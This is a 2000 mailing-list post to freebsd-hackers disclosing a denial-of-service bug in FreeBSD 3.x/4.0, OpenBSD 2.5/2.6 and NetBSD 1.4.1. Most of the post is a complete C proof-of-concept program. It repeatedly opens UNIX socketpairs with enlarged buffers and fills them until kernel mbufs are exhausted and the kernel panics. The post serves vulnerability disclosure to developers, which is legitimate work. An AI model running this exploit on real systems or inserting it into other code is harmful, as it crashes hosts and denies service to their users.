Date: Sun, 4 Jun 2000 10:34:40 +0400 (MSD) From: Oleg Derevenetz <oleg@oleg.vsi.ru> To: freebsd-hackers@freebsd.org Subject: DoS Message-ID: <Pine.BSF.4.21.0006041030070.282-100000@oleg.vsi.ru>
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Denial of Service and kernel panic (out of mbuf) appears when following
program executes (originally reported by Sven Berkenvs
(sven@ILSE.NL)). Affects FreeBSD 3.x & 4.0, OpenBSD 2.5, OpenBSD 2.6,
NetBSD 1.4.1.
#include <unistd.h>
#include <sys/socket.h>
#include <fcntl.h>
#define BUFFERSIZE 204800
int main ()
{
int p[2], i;
char crap[BUFFERSIZE];
while (1) {
if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
break;
i = BUFFERSIZE;
setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i,sizeof(int));
setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i,sizeof(int));
setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i,sizeof(int));
setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i,sizeof(int));
fcntl(p[0], F_SETFL, O_NONBLOCK);
fcntl(p[1], F_SETFL, O_NONBLOCK);
write(p[0], crap, BUFFERSIZE);
write(p[1], crap, BUFFERSIZE);
}
exit(0);
}
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